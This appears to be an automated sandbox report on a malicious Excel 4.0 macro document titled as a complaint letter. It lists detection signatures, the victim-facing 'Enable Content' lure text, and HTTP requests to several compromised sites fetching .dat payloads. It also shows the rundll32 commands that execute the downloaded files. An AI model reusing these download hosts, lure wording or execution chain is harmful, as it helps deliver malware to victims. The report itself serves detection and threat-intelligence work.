Analysis Report Complaint_Letter_1186814227-02192021.xls

Overview

General Information

Sample Name: Complaint_Letter_1186814227-02192021.xls
Analysis ID: 356762
MD5: 888909141f8ad83f4509703b1bae7187
SHA1: dab7c94aff5dbeabebf9d85c6b2e7f6e6ba98e18
SHA256: f11a1405772bbb1aa0d1e55fc2faa77fe8a5541894e9617fbd8e6430c9e38731
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score: 76
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malicious Excel 4.0 Macro
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Sigma detected: Microsoft Office Product Spawning Windows Shell
Yara detected hidden Macro 4.0 in Excel
Document contains embedded VBA macros
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication
Yara signature match

Classification

Compliance:

barindex
Uses new MSVCR Dlls
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Uses secure TLS version for HTTPS connections
Source: unknown HTTPS traffic detected: 159.89.174.35:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.126.100.34:443 -> 192.168.2.22:49173 version: TLS 1.2

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA Jump to behavior
Document exploit detected (process start blacklist hit)
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe Jump to behavior
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: parama-college.id
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 159.89.174.35:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 203.142.76.236:80

Networking:

barindex
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /yxpmmmg/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: parama-college.idConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zdmqwymhhza/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: raivens.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /hmffuzbolyio/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sportsmarquee.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /focahjqevd/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: erp.demosoftware.bizConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gvazzbwlvyk/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jayshreewoods.comConnection: Keep-Alive
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ Jump to behavior
Source: global traffic HTTP traffic detected: GET /yxpmmmg/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: parama-college.idConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /zdmqwymhhza/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: raivens.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /hmffuzbolyio/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sportsmarquee.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /focahjqevd/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: erp.demosoftware.bizConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /gvazzbwlvyk/44250678185879600000.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: jayshreewoods.comConnection: Keep-Alive
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: parama-college.id
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 23 Feb 2021 15:16:23 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://sportsmarquee.com/wp-json/>; rel="https://api.w.org/"Set-Cookie: cxssh_status=off; expires=Thu, 03-Jun-2021 15:16:55 GMT; Max-Age=8640000; path=/Keep-Alive: timeout=5, max=1000Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 65 62 36 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 53 70 6f 72 74 73 20 4d 61 72 71 75 65 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 73 6d 61 72 74 2d 63 6f 75 70 6f 6e 73 2f 61 73 73 65 74 73 2f 63 73 73 2f 73 6d 61 72 74 2d 63 6f 75 70 6f 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 34 2e 31 2e 32 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 66 6f 72 6d 69 64 61 62 6c 65 2f 63 73 73 2f 66 6f 72 6d 69 64 61 62 6c 65 66 6f 72 6d 73 2e 63 73 73 3f 76 65 72 3d 31 31 31 34 31 36 31 32 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 35 2e 35 2e 33 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70 6f 72 74 73 6d 61 72 71 75 65 65 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2f 70 61 63 6b 61 67 65 73 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 62 6c 6f 63 6b 73 2f 62 75 69 6c 64 2f 76 65 6e 64 6f 72 73 2d 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 33 2e 36 2e 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 70
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000004.00000002.2201804166.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192488576.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183410930.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180940139.0000000001DE7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000004.00000002.2201804166.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192488576.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183410930.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180940139.0000000001DE7000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000004.00000002.2201804166.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192488576.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183410930.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180940139.0000000001DE7000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000004.00000002.2201804166.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192488576.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183410930.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180940139.0000000001DE7000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000004.00000002.2201804166.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192488576.0000000001DA7000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183410930.0000000001D17000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180940139.0000000001DE7000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49173
Source: unknown Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown HTTPS traffic detected: 159.89.174.35:443 -> 192.168.2.22:49167 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.126.100.34:443 -> 192.168.2.22:49173 version: TLS 1.2

System Summary:

barindex
Found malicious Excel 4.0 Macro
Source: Complaint_Letter_1186814227-02192021.xls Initial sample: urlmon
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: Enable Editing, please click E. " ' " 14 from the yellow bar above f ynOll Xd 15 R'|ni)|| I P? I
Source: Screenshot number: 8 Screenshot OCR: Enable Editing, please click E' " " ' ' 14 from the yellow bar above RunDLL |~| 15 16 Therewasa
Source: Document image extraction number: 2 Screenshot OCR: Enable Editing from the yellow bar above Once You have Enable Editing , please click Enable Conten
Source: Document image extraction number: 2 Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? You are using iOS or Andro
Source: Document image extraction number: 8 Screenshot OCR: Enable Editing from the yellow bar above @ Once You have Enable Editing, please click Enable Conte
Source: Document image extraction number: 8 Screenshot OCR: Enable Content from the yellow bar above WHYICANNOTOPEN THIS DOCUMENT? wYou are using IDS or Andr
Found Excel 4.0 Macro with suspicious formulas
Source: Complaint_Letter_1186814227-02192021.xls Initial sample: EXEC
Document contains embedded VBA macros
Source: Complaint_Letter_1186814227-02192021.xls OLE indicator, VBA macros: true
Yara signature match
Source: Complaint_Letter_1186814227-02192021.xls, type: SAMPLE Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research
Source: rundll32.exe, 00000004.00000002.2201614246.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2192301052.0000000001BC0000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2183231178.0000000001B30000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2180715449.0000000001C00000.00000002.00000001.sdmp Binary or memory string: .VBPud<_
Source: classification engine Classification label: mal76.expl.evad.winXLS@11/13@5/5
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\Desktop\72CE0000 Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVRBAE5.tmp Jump to behavior
Source: Complaint_Letter_1186814227-02192021.xls OLE indicator, Workbook stream: true
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso1,DllRegisterServer
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso2,DllRegisterServer
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso3,DllRegisterServer
Source: unknown Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso4,DllRegisterServer
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso,DllRegisterServer Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso1,DllRegisterServer Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso2,DllRegisterServer Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso3,DllRegisterServer Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\rundll32.exe rundll32 ..\KLSD.ggsso4,DllRegisterServer Jump to behavior
Source: C:\Windows\System32\rundll32.exe Automated click: OK
Source: C:\Windows\System32\rundll32.exe Automated click: OK
Source: C:\Windows\System32\rundll32.exe Automated click: OK
Source: C:\Windows\System32\rundll32.exe Automated click: OK
Source: C:\Windows\System32\rundll32.exe Automated click: OK
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Yara detected hidden Macro 4.0 in Excel
Source: Yara match File source: Complaint_Letter_1186814227-02192021.xls, type: SAMPLE